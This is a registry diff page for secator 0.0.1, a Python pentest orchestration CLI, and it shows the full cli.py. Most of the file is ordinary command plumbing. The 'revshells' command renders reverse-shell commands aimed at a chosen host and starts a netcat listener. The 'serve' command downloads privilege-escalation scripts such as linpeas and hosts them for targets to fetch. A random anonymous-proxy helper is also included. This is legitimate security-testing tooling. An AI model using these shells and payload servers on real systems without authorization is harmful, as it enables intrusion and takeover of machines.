secator 0.0.1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of secator might be problematic. Click here for more details.

Files changed (114) hide show
  1. secator/__init__.py +0 -0
  2. secator/celery.py +482 -0
  3. secator/cli.py +617 -0
  4. secator/config.py +137 -0
  5. secator/configs/__init__.py +0 -0
  6. secator/configs/profiles/__init__.py +0 -0
  7. secator/configs/profiles/aggressive.yaml +7 -0
  8. secator/configs/profiles/default.yaml +9 -0
  9. secator/configs/profiles/stealth.yaml +7 -0
  10. secator/configs/scans/__init__.py +0 -0
  11. secator/configs/scans/domain.yaml +18 -0
  12. secator/configs/scans/host.yaml +14 -0
  13. secator/configs/scans/network.yaml +17 -0
  14. secator/configs/scans/subdomain.yaml +8 -0
  15. secator/configs/scans/url.yaml +12 -0
  16. secator/configs/workflows/__init__.py +0 -0
  17. secator/configs/workflows/cidr_recon.yaml +28 -0
  18. secator/configs/workflows/code_scan.yaml +11 -0
  19. secator/configs/workflows/host_recon.yaml +41 -0
  20. secator/configs/workflows/port_scan.yaml +34 -0
  21. secator/configs/workflows/subdomain_recon.yaml +33 -0
  22. secator/configs/workflows/url_crawl.yaml +29 -0
  23. secator/configs/workflows/url_dirsearch.yaml +29 -0
  24. secator/configs/workflows/url_fuzz.yaml +35 -0
  25. secator/configs/workflows/url_nuclei.yaml +11 -0
  26. secator/configs/workflows/url_vuln.yaml +55 -0
  27. secator/configs/workflows/user_hunt.yaml +10 -0
  28. secator/configs/workflows/wordpress.yaml +14 -0
  29. secator/decorators.py +309 -0
  30. secator/definitions.py +165 -0
  31. secator/exporters/__init__.py +12 -0
  32. secator/exporters/_base.py +3 -0
  33. secator/exporters/csv.py +30 -0
  34. secator/exporters/gdrive.py +118 -0
  35. secator/exporters/json.py +15 -0
  36. secator/exporters/table.py +7 -0
  37. secator/exporters/txt.py +25 -0
  38. secator/hooks/__init__.py +0 -0
  39. secator/hooks/mongodb.py +212 -0
  40. secator/output_types/__init__.py +24 -0
  41. secator/output_types/_base.py +95 -0
  42. secator/output_types/exploit.py +50 -0
  43. secator/output_types/ip.py +33 -0
  44. secator/output_types/port.py +45 -0
  45. secator/output_types/progress.py +35 -0
  46. secator/output_types/record.py +34 -0
  47. secator/output_types/subdomain.py +42 -0
  48. secator/output_types/tag.py +46 -0
  49. secator/output_types/target.py +30 -0
  50. secator/output_types/url.py +76 -0
  51. secator/output_types/user_account.py +41 -0
  52. secator/output_types/vulnerability.py +97 -0
  53. secator/report.py +107 -0
  54. secator/rich.py +124 -0
  55. secator/runners/__init__.py +12 -0
  56. secator/runners/_base.py +833 -0
  57. secator/runners/_helpers.py +153 -0
  58. secator/runners/command.py +638 -0
  59. secator/runners/scan.py +65 -0
  60. secator/runners/task.py +106 -0
  61. secator/runners/workflow.py +135 -0
  62. secator/serializers/__init__.py +8 -0
  63. secator/serializers/dataclass.py +33 -0
  64. secator/serializers/json.py +15 -0
  65. secator/serializers/regex.py +17 -0
  66. secator/tasks/__init__.py +10 -0
  67. secator/tasks/_categories.py +304 -0
  68. secator/tasks/cariddi.py +102 -0
  69. secator/tasks/dalfox.py +65 -0
  70. secator/tasks/dirsearch.py +90 -0
  71. secator/tasks/dnsx.py +56 -0
  72. secator/tasks/dnsxbrute.py +34 -0
  73. secator/tasks/feroxbuster.py +91 -0
  74. secator/tasks/ffuf.py +86 -0
  75. secator/tasks/fping.py +44 -0
  76. secator/tasks/gau.py +47 -0
  77. secator/tasks/gf.py +33 -0
  78. secator/tasks/gospider.py +71 -0
  79. secator/tasks/grype.py +79 -0
  80. secator/tasks/h8mail.py +81 -0
  81. secator/tasks/httpx.py +99 -0
  82. secator/tasks/katana.py +133 -0
  83. secator/tasks/maigret.py +78 -0
  84. secator/tasks/mapcidr.py +32 -0
  85. secator/tasks/msfconsole.py +174 -0
  86. secator/tasks/naabu.py +52 -0
  87. secator/tasks/nmap.py +344 -0
  88. secator/tasks/nuclei.py +97 -0
  89. secator/tasks/searchsploit.py +52 -0
  90. secator/tasks/subfinder.py +40 -0
  91. secator/tasks/wpscan.py +179 -0
  92. secator/utils.py +445 -0
  93. secator/utils_test.py +183 -0
  94. secator-0.0.1.dist-info/LICENSE +60 -0
  95. secator-0.0.1.dist-info/METADATA +199 -0
  96. secator-0.0.1.dist-info/RECORD +114 -0
  97. secator-0.0.1.dist-info/WHEEL +5 -0
  98. secator-0.0.1.dist-info/entry_points.txt +2 -0
  99. secator-0.0.1.dist-info/top_level.txt +2 -0
  100. tests/__init__.py +0 -0
  101. tests/integration/__init__.py +0 -0
  102. tests/integration/inputs.py +42 -0
  103. tests/integration/outputs.py +392 -0
  104. tests/integration/test_scans.py +82 -0
  105. tests/integration/test_tasks.py +103 -0
  106. tests/integration/test_workflows.py +163 -0
  107. tests/performance/__init__.py +0 -0
  108. tests/performance/loadtester.py +56 -0
  109. tests/unit/__init__.py +0 -0
  110. tests/unit/test_celery.py +39 -0
  111. tests/unit/test_scans.py +0 -0
  112. tests/unit/test_serializers.py +51 -0
  113. tests/unit/test_tasks.py +348 -0
  114. tests/unit/test_workflows.py +96 -0
secator/cli.py ADDED
@@ -0,0 +1,617 @@
1
+ import json
2
+ import os
3
+ import re
4
+ import sys
5
+
6
+ import rich_click as click
7
+ from dotmap import DotMap
8
+ from fp.fp import FreeProxy
9
+ from jinja2 import Template
10
+ from rich.markdown import Markdown
11
+ from rich.rule import Rule
12
+
13
+ from secator.celery import app, is_celery_worker_alive
14
+ from secator.config import ConfigLoader
15
+ from secator.decorators import OrderedGroup, register_runner
16
+ from secator.definitions import (ASCII, CVES_FOLDER, DATA_FOLDER,
17
+ PAYLOADS_FOLDER, ROOT_FOLDER, SCRIPTS_FOLDER)
18
+ from secator.rich import console
19
+ from secator.runners import Command
20
+ from secator.serializers.dataclass import loads_dataclass
21
+ from secator.utils import (debug, detect_host, discover_tasks, find_list_item,
22
+ flatten, print_results_table)
23
+
24
+ click.rich_click.USE_RICH_MARKUP = True
25
+
26
+ ALL_TASKS = discover_tasks()
27
+ ALL_CONFIGS = ConfigLoader.load_all()
28
+ ALL_WORKFLOWS = ALL_CONFIGS.workflow
29
+ ALL_SCANS = ALL_CONFIGS.scan
30
+ DEFAULT_CMD_OPTS = {
31
+ 'no_capture': True,
32
+ 'print_cmd': True,
33
+ }
34
+ debug('conf', obj=dict(app.conf), obj_breaklines=True, sub='celery.app.conf', level=4)
35
+ debug('registered tasks', obj=list(app.tasks.keys()), obj_breaklines=True, sub='celery.tasks', level=4)
36
+
37
+
38
+ #--------#
39
+ # GROUPS #
40
+ #--------#
41
+
42
+
43
+ @click.group(cls=OrderedGroup)
44
+ @click.option('--no-banner', '-nb', is_flag=True, default=False)
45
+ def cli(no_banner):
46
+ """Secator CLI."""
47
+ if not no_banner:
48
+ print(ASCII, file=sys.stderr)
49
+ pass
50
+
51
+
52
+ @cli.group(aliases=['x', 't', 'cmd'])
53
+ def task():
54
+ """Run a task."""
55
+ pass
56
+
57
+
58
+ for cls in ALL_TASKS:
59
+ config = DotMap({'name': cls.__name__})
60
+ register_runner(task, config)
61
+
62
+
63
+ @cli.group(cls=OrderedGroup, aliases=['w', 'wf', 'flow'])
64
+ def workflow():
65
+ """Run a workflow."""
66
+ pass
67
+
68
+
69
+ for config in sorted(ALL_WORKFLOWS, key=lambda x: x['name']):
70
+ register_runner(workflow, config)
71
+
72
+
73
+ @cli.group(cls=OrderedGroup, aliases=['z', 's', 'sc'])
74
+ def scan():
75
+ """Run a scan."""
76
+ pass
77
+
78
+
79
+ for config in sorted(ALL_SCANS, key=lambda x: x['name']):
80
+ register_runner(scan, config)
81
+
82
+
83
+ @cli.group(aliases=['u'])
84
+ def utils():
85
+ """Utilities."""
86
+ pass
87
+
88
+
89
+ #--------#
90
+ # REPORT #
91
+ #--------#
92
+
93
+
94
+ @cli.group(aliases=['r'])
95
+ def report():
96
+ """Reports."""
97
+ pass
98
+
99
+
100
+ @report.command('show')
101
+ @click.argument('json_path')
102
+ @click.option('-e', '--exclude-fields', type=str, default='', help='List of fields to exclude (comma-separated)')
103
+ def report_show(json_path, exclude_fields):
104
+ """Show a JSON report as a nicely-formatted table."""
105
+ with open(json_path, 'r') as f:
106
+ report = loads_dataclass(f.read())
107
+ results = flatten(list(report['results'].values()))
108
+ exclude_fields = exclude_fields.split(',')
109
+ print_results_table(
110
+ results,
111
+ title=report['info']['title'],
112
+ exclude_fields=exclude_fields)
113
+
114
+
115
+ #--------#
116
+ # DEPLOY #
117
+ #--------#
118
+
119
+ # TODO: work on this
120
+ # @cli.group(aliases=['d'])
121
+ # def deploy():
122
+ # """Deploy secator."""
123
+ # pass
124
+
125
+ # @deploy.command()
126
+ # def docker_compose():
127
+ # """Deploy secator on docker-compose."""
128
+ # pass
129
+
130
+ # @deploy.command()
131
+ # @click.option('-t', '--target', type=str, default='minikube', help='Deployment target amongst minikube, gke')
132
+ # def k8s():
133
+ # """Deploy secator on Kubernetes."""
134
+ # pass
135
+
136
+
137
+ #--------#
138
+ # WORKER #
139
+ #--------#
140
+
141
+ @cli.command(context_settings=dict(ignore_unknown_options=True))
142
+ @click.option('-n', '--hostname', type=str, default='runner', help='Celery worker hostname (unique).')
143
+ @click.option('-c', '--concurrency', type=int, default=100, help='Number of child processes processing the queue.')
144
+ @click.option('-r', '--reload', is_flag=True, help='Autoreload Celery on code changes.')
145
+ @click.option('-Q', '--queue', type=str, default='', help='Listen to a specific queue.')
146
+ @click.option('-P', '--pool', type=str, default='eventlet', help='Pool implementation.')
147
+ @click.option('--check', is_flag=True, help='Check if Celery worker is alive.')
148
+ @click.option('--dev', is_flag=True, help='Start a worker in dev mode (celery multi).')
149
+ @click.option('--stop', is_flag=True, help='Stop a worker in dev mode (celery multi).')
150
+ @click.option('--show', is_flag=True, help='Show command (celery multi).')
151
+ def worker(hostname, concurrency, reload, queue, pool, check, dev, stop, show):
152
+ """Celery worker."""
153
+ if check:
154
+ is_celery_worker_alive()
155
+ return
156
+ if not queue:
157
+ queue = 'io,cpu,' + ','.join([r['queue'] for r in app.conf.task_routes.values()])
158
+ app_str = 'secator.celery.app'
159
+ if dev:
160
+ subcmd = 'stop' if stop else 'show' if show else 'start'
161
+ logfile = '%n.log'
162
+ pidfile = '%n.pid'
163
+ queues = '-Q:1 celery -Q:2 io -Q:3 cpu'
164
+ concur = '-c:1 10 -c:2 100 -c:3 4'
165
+ pool = 'eventlet'
166
+ cmd = f'celery -A {app_str} multi {subcmd} 3 {queues} -P {pool} {concur} --logfile={logfile} --pidfile={pidfile}'
167
+ else:
168
+ cmd = f'celery -A {app_str} worker -n {hostname} -Q {queue}'
169
+ if pool:
170
+ cmd += f' -P {pool}'
171
+ if concurrency:
172
+ cmd += f' -c {concurrency}'
173
+ if reload:
174
+ patterns = "celery.py;tasks/*.py;runners/*.py;serializers/*.py;output_types/*.py;hooks/*.py;exporters/*.py"
175
+ cmd = f'watchmedo auto-restart --directory=./ --patterns="{patterns}" --recursive -- {cmd}'
176
+ Command.run_command(
177
+ cmd,
178
+ **DEFAULT_CMD_OPTS
179
+ )
180
+
181
+
182
+ #-------#
183
+ # UTILS #
184
+ #-------#
185
+
186
+
187
+ @utils.command()
188
+ @click.argument('cmds', required=False)
189
+ def install(cmds):
190
+ """Install secator-supported commands."""
191
+ if cmds is not None:
192
+ cmds = cmds.split(',')
193
+ cmds = [cls for cls in ALL_TASKS if cls.__name__ in cmds]
194
+ else:
195
+ cmds = ALL_TASKS
196
+ for ix, cls in enumerate(cmds):
197
+ with console.status(f'[bold yellow][{ix}/{len(cmds)}] Installing {cls.__name__} ...'):
198
+ cls.install()
199
+ console.print()
200
+
201
+
202
+ @utils.command()
203
+ @click.option('--timeout', type=float, default=0.2, help='Proxy timeout (in seconds)')
204
+ @click.option('--number', '-n', type=int, default=1, help='Number of proxies')
205
+ def get_proxy(timeout, number):
206
+ """Get a random proxy."""
207
+ proxy = FreeProxy(timeout=timeout, rand=True, anonym=True)
208
+ for _ in range(number):
209
+ url = proxy.get()
210
+ print(url)
211
+
212
+
213
+ @utils.command()
214
+ @click.option('--force', is_flag=True)
215
+ def download_cves(force):
216
+ """Download CVEs to file system. CVE lookup perf is improved quite a lot."""
217
+ cve_json_path = f'{DATA_FOLDER}/circl-cve-search-expanded.json'
218
+ if not os.path.exists(cve_json_path) or force:
219
+ Command.run_command(
220
+ 'wget https://cve.circl.lu/static/circl-cve-search-expanded.json.gz',
221
+ cwd=DATA_FOLDER,
222
+ **DEFAULT_CMD_OPTS
223
+ )
224
+ Command.run_command(
225
+ f'gunzip {DATA_FOLDER}/circl-cve-search-expanded.json.gz',
226
+ cwd=DATA_FOLDER,
227
+ **DEFAULT_CMD_OPTS
228
+ )
229
+ os.makedirs(CVES_FOLDER, exist_ok=True)
230
+ with console.status('[bold yellow]Saving CVEs to disk ...[/]'):
231
+ with open(f'{DATA_FOLDER}/circl-cve-search-expanded.json', 'r') as f:
232
+ for line in f:
233
+ data = json.loads(line)
234
+ cve_id = data['id']
235
+ cve_path = f'{DATA_FOLDER}/cves/{cve_id}.json'
236
+ with open(cve_path, 'w') as f:
237
+ f.write(line)
238
+ console.print(f'CVE saved to {cve_path}')
239
+
240
+
241
+ @utils.command()
242
+ def generate_bash_install():
243
+ """Generate bash install script for all secator-supported tasks."""
244
+ path = ROOT_FOLDER + '/scripts/install_commands.sh'
245
+ with open(path, 'w') as f:
246
+ f.write('#!/bin/bash\n\n')
247
+ for task in ALL_TASKS:
248
+ if task.install_cmd:
249
+ f.write(f'# {task.__name__}\n')
250
+ f.write(task.install_cmd + ' || true' + '\n\n')
251
+ Command.run_command(
252
+ f'chmod +x {path}',
253
+ **DEFAULT_CMD_OPTS
254
+ )
255
+ console.print(f':file_cabinet: [bold green]Saved install script to {path}[/]')
256
+
257
+
258
+ @utils.command()
259
+ def enable_aliases():
260
+ """Enable aliases."""
261
+ aliases = []
262
+ aliases.extend([
263
+ f'alias {task.__name__}="secator x {task.__name__}"'
264
+ for task in ALL_TASKS
265
+ ])
266
+ aliases.extend([
267
+ f'alias {workflow.alias}="secator w {workflow.name}"'
268
+ for workflow in ALL_WORKFLOWS
269
+ ])
270
+ aliases.extend([
271
+ f'alias {workflow.name}="secator w {workflow.name}"'
272
+ for workflow in ALL_WORKFLOWS
273
+ ])
274
+ aliases.extend([
275
+ f'alias scan_{scan.name}="secator s {scan.name}"'
276
+ for scan in ALL_SCANS
277
+ ])
278
+ aliases.append('alias listx="secator x"')
279
+ aliases.append('alias listw="secator w"')
280
+ aliases.append('alias lists="secator s"')
281
+ aliases_str = '\n'.join(aliases)
282
+
283
+ fpath = f'{DATA_FOLDER}/.aliases'
284
+ with open(fpath, 'w') as f:
285
+ f.write(aliases_str)
286
+ console.print('Aliases:')
287
+ for alias in aliases:
288
+ alias_split = alias.split('=')
289
+ alias_name, alias_cmd = alias_split[0].replace('alias ', ''), alias_split[1].replace('"', '')
290
+ console.print(f'[bold magenta]{alias_name:<15}-> {alias_cmd}')
291
+
292
+ console.print(f':file_cabinet: Alias file written to {fpath}', style='bold green')
293
+ console.print('To load the aliases, run:')
294
+ md = f"""
295
+ ```sh
296
+ source {fpath} # load the aliases in the current shell
297
+ echo "source {fpath} >> ~/.bashrc" # or add this line to your ~/.bashrc to load them automatically
298
+ ```
299
+ """
300
+ console.print(Markdown(md))
301
+ console.print()
302
+
303
+
304
+ @utils.command()
305
+ def disable_aliases():
306
+ """Disable aliases."""
307
+ for task in ALL_TASKS:
308
+ Command.run_command(f'unalias {task.name}', cls_attributes={'shell': True})
309
+
310
+
311
+ @utils.command()
312
+ @click.argument('name', type=str, default=None, required=False)
313
+ @click.option('--host', '-h', type=str, default=None, help='Specify LHOST for revshell, otherwise autodetected.')
314
+ @click.option('--port', '-p', type=int, default=9001, show_default=True, help='Specify PORT for revshell')
315
+ @click.option('--interface', '-i', type=str, help='Interface to use to detect IP')
316
+ @click.option('--listen', '-l', is_flag=True, default=False, help='Spawn netcat listener on specified port')
317
+ def revshells(name, host, port, interface, listen):
318
+ """Show reverse shell source codes and run netcat listener."""
319
+ if host is None: # detect host automatically
320
+ host = detect_host(interface)
321
+ if not host:
322
+ console.print(
323
+ f'Interface "{interface}" could not be found. Run "ifconfig" to see the list of available interfaces.',
324
+ style='bold red')
325
+ return
326
+
327
+ with open(f'{SCRIPTS_FOLDER}/revshells.json') as f:
328
+ shells = json.loads(f.read())
329
+ for sh in shells:
330
+ sh['alias'] = '_'.join(sh['name'].lower()
331
+ .replace('-c', '')
332
+ .replace('-e', '')
333
+ .replace('-i', '')
334
+ .replace('c#', 'cs')
335
+ .replace('#', '')
336
+ .replace('(', '')
337
+ .replace(')', '')
338
+ .strip()
339
+ .split(' ')).replace('_1', '')
340
+ cmd = re.sub(r"\s\s+", "", sh.get('command', ''), flags=re.UNICODE)
341
+ cmd = cmd.replace('\n', ' ')
342
+ sh['cmd_short'] = (cmd[:30] + '..') if len(cmd) > 30 else cmd
343
+
344
+ shell = [
345
+ shell for shell in shells if shell['name'] == name or shell['alias'] == name
346
+ ]
347
+ if not shell:
348
+ console.print('Available shells:', style='bold yellow')
349
+ shells_str = [
350
+ '[bold magenta]{alias:<20}[/][dim white]{name:<20}[/][dim gold3]{cmd_short:<20}[/]'.format(**sh)
351
+ for sh in shells
352
+ ]
353
+ console.print('\n'.join(shells_str))
354
+ else:
355
+ shell = shell[0]
356
+ command = shell['command']
357
+ alias = shell['alias']
358
+ name = shell['name']
359
+ command_str = Template(command).render(ip=host, port=port, shell='bash')
360
+ console.print(Rule(f'[bold gold3]{alias}[/] - [bold red]{name} REMOTE SHELL', style='bold red', align='left'))
361
+ lang = shell.get('lang') or 'sh'
362
+ if len(command.splitlines()) == 1:
363
+ console.print()
364
+ print(f'\033[0;36m{command_str}')
365
+ else:
366
+ md = Markdown(f'```{lang}\n{command_str}\n```')
367
+ console.print(md)
368
+ console.print(f'Save this script as rev.{lang} and run it on your target', style='dim italic')
369
+ console.print()
370
+ console.print(Rule(style='bold red'))
371
+
372
+ if listen:
373
+ console.print(f'Starting netcat listener on port {port} ...', style='bold gold3')
374
+ cmd = f'nc -lvnp {port}'
375
+ Command.run_command(
376
+ cmd,
377
+ **DEFAULT_CMD_OPTS
378
+ )
379
+
380
+
381
+ @utils.command()
382
+ @click.option('--directory', '-d', type=str, default=PAYLOADS_FOLDER, show_default=True, help='HTTP server directory')
383
+ @click.option('--host', '-h', type=str, default=None, help='HTTP host')
384
+ @click.option('--port', '-p', type=int, default=9001, help='HTTP server port')
385
+ @click.option('--interface', '-i', type=str, default=None, help='Interface to use to auto-detect host IP')
386
+ def serve(directory, host, port, interface):
387
+ """Serve payloads in HTTP server."""
388
+ LSE_URL = 'https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh'
389
+ LINPEAS_URL = 'https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh'
390
+ SUDOKILLER_URL = 'https://raw.githubusercontent.com/TH3xACE/SUDO_KILLER/master/SUDO_KILLERv2.4.2.sh'
391
+ PAYLOADS = [
392
+ {
393
+ 'fname': 'lse.sh',
394
+ 'description': 'Linux Smart Enumeration',
395
+ 'command': f'wget {LSE_URL} -O lse.sh && chmod 700 lse.sh'
396
+ },
397
+ {
398
+ 'fname': 'linpeas.sh',
399
+ 'description': 'Linux Privilege Escalation Awesome Script',
400
+ 'command': f'wget {LINPEAS_URL} -O linpeas.sh && chmod 700 linpeas.sh'
401
+ },
402
+ {
403
+ 'fname': 'sudo_killer.sh',
404
+ 'description': 'SUDO_KILLER',
405
+ 'command': f'wget {SUDOKILLER_URL} -O sudo_killer.sh && chmod 700 sudo_killer.sh'
406
+ }
407
+ ]
408
+ for ix, payload in enumerate(PAYLOADS):
409
+ descr = payload.get('description', '')
410
+ fname = payload['fname']
411
+ if not os.path.exists(f'{directory}/{fname}'):
412
+ with console.status(f'[bold yellow][{ix}/{len(PAYLOADS)}] Downloading {fname} [dim]({descr})[/] ...[/]'):
413
+ cmd = payload['command']
414
+ console.print(f'[bold magenta]{fname} [dim]({descr})[/] ...[/]', )
415
+ opts = DEFAULT_CMD_OPTS.copy()
416
+ opts['no_capture'] = False
417
+ Command.run_command(
418
+ cmd,
419
+ cls_attributes={'shell': True},
420
+ cwd=directory,
421
+ **opts
422
+ )
423
+ console.print()
424
+
425
+ console.print(Rule())
426
+ console.print(f'Available payloads in {directory}: ', style='bold yellow')
427
+ opts = DEFAULT_CMD_OPTS.copy()
428
+ opts['print_cmd'] = False
429
+ for fname in os.listdir(directory):
430
+ if not host:
431
+ host = detect_host(interface)
432
+ if not host:
433
+ console.print(
434
+ f'Interface "{interface}" could not be found. Run "ifconfig" to see the list of interfaces.',
435
+ style='bold red')
436
+ return
437
+ payload = find_list_item(PAYLOADS, fname, key='fname', default={})
438
+ fdescr = payload.get('description', 'No description')
439
+ console.print(f'{fname} [dim]({fdescr})[/]', style='bold magenta')
440
+ console.print(f'wget http://{host}:{port}/{fname}', style='dim italic')
441
+ console.print('')
442
+ console.print(Rule())
443
+ console.print('Starting HTTP server ...', style='bold yellow')
444
+ Command.run_command(
445
+ f'python -m http.server {port}',
446
+ cwd=directory,
447
+ **DEFAULT_CMD_OPTS
448
+ )
449
+
450
+
451
+ @utils.command()
452
+ @click.argument('record_name', type=str, default=None)
453
+ @click.option('--script', '-s', type=str, default=None, help='Script to run. See scripts/stories/ for examples.')
454
+ @click.option('--interactive', '-i', is_flag=True, default=False, help='Interactive record.')
455
+ @click.option('--width', '-w', type=int, default=None, help='Recording width')
456
+ @click.option('--height', '-h', type=int, default=None, help='Recording height')
457
+ @click.option('--output-dir', type=str, default=f'{ROOT_FOLDER}/images')
458
+ def record(record_name, script, interactive, width, height, output_dir):
459
+ """Record secator session using asciinema."""
460
+ # 120 x 30 is a good ratio for GitHub
461
+ width = width or console.size.width
462
+ height = height or console.size.height
463
+ attrs = {
464
+ 'shell': False,
465
+ 'env': {
466
+ 'RECORD': '1',
467
+ 'LINES': str(height),
468
+ 'PS1': '$ ',
469
+ 'COLUMNS': str(width),
470
+ 'TERM': 'xterm-256color'
471
+ }
472
+ }
473
+ output_cast_path = f'{output_dir}/{record_name}.cast'
474
+ output_gif_path = f'{output_dir}/{record_name}.gif'
475
+
476
+ # Run automated 'story' script with asciinema-automation
477
+ if script:
478
+ # If existing cast file, remove it
479
+ if os.path.exists(output_cast_path):
480
+ os.unlink(output_cast_path)
481
+ console.print(f'Removed existing {output_cast_path}', style='bold green')
482
+
483
+ with console.status('[bold gold3]Recording with asciinema ...[/]'):
484
+ Command.run_command(
485
+ f'asciinema-automation -aa "-c /bin/sh" {script} {output_cast_path} --timeout 200',
486
+ cls_attributes=attrs,
487
+ raw=True,
488
+ **DEFAULT_CMD_OPTS,
489
+ )
490
+ console.print(f'Generated {output_cast_path}', style='bold green')
491
+ elif interactive:
492
+ os.environ.update(attrs['env'])
493
+ Command.run_command(
494
+ f'asciinema rec -c /bin/bash --stdin --overwrite {output_cast_path}',
495
+ )
496
+
497
+ # Resize cast file
498
+ if os.path.exists(output_cast_path):
499
+ with console.status('[bold gold3]Cleaning up .cast and set custom settings ...'):
500
+ with open(output_cast_path, 'r') as f:
501
+ lines = f.readlines()
502
+ updated_lines = []
503
+ for ix, line in enumerate(lines):
504
+ tmp_line = json.loads(line)
505
+ if ix == 0:
506
+ tmp_line['width'] = width
507
+ tmp_line['height'] = height
508
+ tmp_line['env']['SHELL'] = '/bin/sh'
509
+ lines[0] = json.dumps(tmp_line) + '\n'
510
+ updated_lines.append(json.dumps(tmp_line) + '\n')
511
+ elif tmp_line[2].endswith(' \r'):
512
+ tmp_line[2] = tmp_line[2].replace(' \r', '')
513
+ updated_lines.append(json.dumps(tmp_line) + '\n')
514
+ else:
515
+ updated_lines.append(line)
516
+ with open(output_cast_path, 'w') as f:
517
+ f.writelines(updated_lines)
518
+ console.print('')
519
+
520
+ # Edit cast file to reduce long timeouts
521
+ with console.status('[bold gold3] Editing cast file to reduce long commands ...'):
522
+ Command.run_command(
523
+ f'asciinema-edit quantize --range 1 {output_cast_path} --out {output_cast_path}.tmp',
524
+ cls_attributes=attrs,
525
+ raw=True,
526
+ **DEFAULT_CMD_OPTS,
527
+ )
528
+ if os.path.exists(f'{output_cast_path}.tmp'):
529
+ os.replace(f'{output_cast_path}.tmp', output_cast_path)
530
+ console.print(f'Edited {output_cast_path}', style='bold green')
531
+
532
+ # Convert to GIF
533
+ with console.status(f'[bold gold3]Converting to {output_gif_path} ...[/]'):
534
+ Command.run_command(
535
+ f'agg {output_cast_path} {output_gif_path}',
536
+ cls_attributes=attrs,
537
+ **DEFAULT_CMD_OPTS,
538
+ )
539
+ console.print(f'Generated {output_gif_path}', style='bold green')
540
+
541
+
542
+ #------#
543
+ # TEST #
544
+ #------#
545
+
546
+
547
+ @cli.group()
548
+ def test():
549
+ """Run tests."""
550
+ pass
551
+
552
+
553
+ @test.command()
554
+ @click.option('--tasks', type=str, default='', help='Secator tasks to test (comma-separated)')
555
+ @click.option('--workflows', type=str, default='', help='Secator workflows to test (comma-separated)')
556
+ @click.option('--scans', type=str, default='', help='Secator scans to test (comma-separated)')
557
+ @click.option('--test', '-t', type=str, help='Secator test to run')
558
+ @click.option('--debug', '-d', type=int, default=0, help='Add debug information')
559
+ def integration(tasks, workflows, scans, test, debug):
560
+ os.environ['TEST_TASKS'] = tasks or ''
561
+ os.environ['TEST_WORKFLOWS'] = workflows or ''
562
+ os.environ['TEST_SCANS'] = scans or ''
563
+ os.environ['DEBUG'] = str(debug)
564
+ cmd = 'python -m unittest'
565
+ if test:
566
+ if not test.startswith('tests.integration'):
567
+ test = f'tests.integration.{test}'
568
+ cmd += f' {test}'
569
+ else:
570
+ cmd += ' discover -v tests.integration'
571
+ result = Command.run_command(
572
+ cmd,
573
+ **DEFAULT_CMD_OPTS
574
+ )
575
+ sys.exit(result.return_code)
576
+
577
+
578
+ @test.command()
579
+ @click.option('--tasks', type=str, default='', help='Secator tasks to test (comma-separated)')
580
+ @click.option('--workflows', type=str, default='', help='Secator workflows to test (comma-separated)')
581
+ @click.option('--scans', type=str, default='', help='Secator scans to test (comma-separated)')
582
+ @click.option('--test', '-t', type=str, help='Secator test to run')
583
+ @click.option('--coverage', '-x', is_flag=True, help='Run coverage on results')
584
+ @click.option('--debug', '-d', type=int, default=0, help='Add debug information')
585
+ def unit(tasks, workflows, scans, test, coverage=False, debug=False):
586
+ os.environ['TEST_TASKS'] = tasks or ''
587
+ os.environ['TEST_WORKFLOWS'] = workflows or ''
588
+ os.environ['TEST_SCANS'] = scans or ''
589
+ os.environ['DEBUG'] = str(debug)
590
+
591
+ cmd = 'coverage run --omit="*test*" -m unittest'
592
+ if test:
593
+ if not test.startswith('tests.unit'):
594
+ test = f'tests.unit.{test}'
595
+ cmd += f' {test}'
596
+ else:
597
+ cmd += ' discover -v tests.unit'
598
+
599
+ result = Command.run_command(
600
+ cmd,
601
+ **DEFAULT_CMD_OPTS
602
+ )
603
+ if coverage:
604
+ Command.run_command(
605
+ 'coverage report -m',
606
+ **DEFAULT_CMD_OPTS
607
+ )
608
+ sys.exit(result.return_code)
609
+
610
+
611
+ @test.command()
612
+ def lint():
613
+ result = Command.run_command(
614
+ 'flake8 secator/',
615
+ **DEFAULT_CMD_OPTS
616
+ )
617
+ sys.exit(result.return_code)